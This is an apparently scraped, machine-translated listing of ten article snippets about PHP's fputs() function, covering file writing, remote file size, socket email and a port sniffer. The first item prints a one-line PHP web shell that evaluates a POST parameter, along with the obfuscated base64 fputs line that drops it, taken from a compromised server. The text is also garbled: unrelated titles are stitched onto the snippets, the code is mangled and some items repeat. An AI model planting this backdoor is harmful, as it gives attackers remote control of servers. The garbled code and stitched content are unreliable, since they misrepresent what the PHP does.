This article collects 10 articles about PHP fputs () functions recommended for everyone to watch
1. ThinkPad Tablet 2 PHP stealth a word back door, and thinkphp framework plus password program Base64_decode
Brief: ThinkPad Tablet 2:thinkpad tablet 2 PHP stealth a word back door, and thinkphp framework plus password Program Base64_decode: Today a client's server is frequently written: The mm.php content is: Copy code code as follows: <?eval ($_post[c]);? > finally found the first behavior in a file The following code: Copy code code as follows: Fputs (fopen (Base64_decode ("BW0UCGHW"), "W"), Base64_decode ("PD9LDMFSKCRFUE9TVFTJ
2. Sea Conway Video DVR remote access to remote file size PHP function
Introduction: Conway Video DVR Remote: Conway Video DVR Remote get remote File size PHP function: Copy code code as follows: <?php function GetFileSize ($url) {$url = Parse_url ($url); fp = @fsockopen ($url [' Host '],empty ($url [' Port ']): $url [' Port '], $error)) {fputs ($fp, "GET". Empty ($url [' path '])? ' /': $url [' PA
3. Response.Write PHP Write implementation code for a file with write encoded as UTF8
Introduction: Response.write:response.write PHP writes the implementation code of a file written as UTF8: <?php $f =fopen ("Test.txt", "WB"); $text =utf8_encode ("顨!"); Adding header $text = "XEFXBBXBF". $text; Fputs ($f, $text); Fclose ($f);?>
4. Harry Potter and the deathly H PHP text operation method Set compare 1th 2 page
Description: Harry Potter and the deathly H:harry Potter and the deathly H PHP text operation method Set compare 1th/2: string read and Write functions fgets and fputs One, the function of the Read string function Fgets function is Reads a string from the specified file into a character array, in the form of a function call: fgets (character array name, n, file pointer), where n is a positive integer. Indicates that a string that is read from a file does not exceed n-1 characters. After the last character read, add the string end Flag '. For example: Fgets (STR,N,FP), the meaning is from
5. Folder sniffer PHP made port sniffer-can specify the website and port
Introduction: Folder Sniffer: Folder sniffer PHP made port sniffer-can specify the website and port: <? PHP-made port sniffer-can specify the website and port//and return the sniffer result function http_request ($server, $port) {$data = ""; $query = "head/http/1.0"; $fp = Fsockopen ($server, $port); if ($fp) {fputs ($fp,
6. PHP Write implementation code for a file with write encoded as UTF8 _php tutorial
Summary: PHP writes the implementation code for a file that is encoded as UTF8. PHP $f =fopen ("Test.txt", "WB"); $text =utf8_encode ("顨!"); Addingheader $text = "XEFXBBXBF". $text; Fputs ($f, $text); Fclose ($f);?
7. PHP Text Operation method Set comparison 1th/2 page _php Tutorial
Summary: Php text operation method Set comparison 1th/2 page. string reading and writing functions Fgets and fputs One, the function of reading the string function Fgets function is to read from the specified file a string into a character array, the function call form is: fgets (number of characters
8. Get PHP functions for remote file size _php Tutorial
Summary: Gets the PHP function for the remote file size. Copy the code as follows: Php function GetFileSize ($url) {$url = Parse_url ($url); if ($fp = @fsockopen ($url [' Host '],empty ($url [' Port ']) : $url [' Port '], $error) {fputs ($fp, "GET").
9. Send an email using the socket eight _php tutorial
Summary: Send an email with the socket eight. 61//Plus End string if (!ereg (".", $message)) $message. = "."; $this-$#@62;show_debug ($message, "out"); Fputs ($this-$#@62;fp, $message); $this-$#@62;lastact= "QUIT
10. Send an email using the socket six _php tutorial
Summary: Send an email with the socket six. Executes a command 1 function do_command ($command, $code) 2 {3 $this-$#@62;lastact= $command; 4 $this-$#@62;show_debug ($this-$#@62; Lastact, "out"); 5 fputs ($this-$#@62;fp, $this-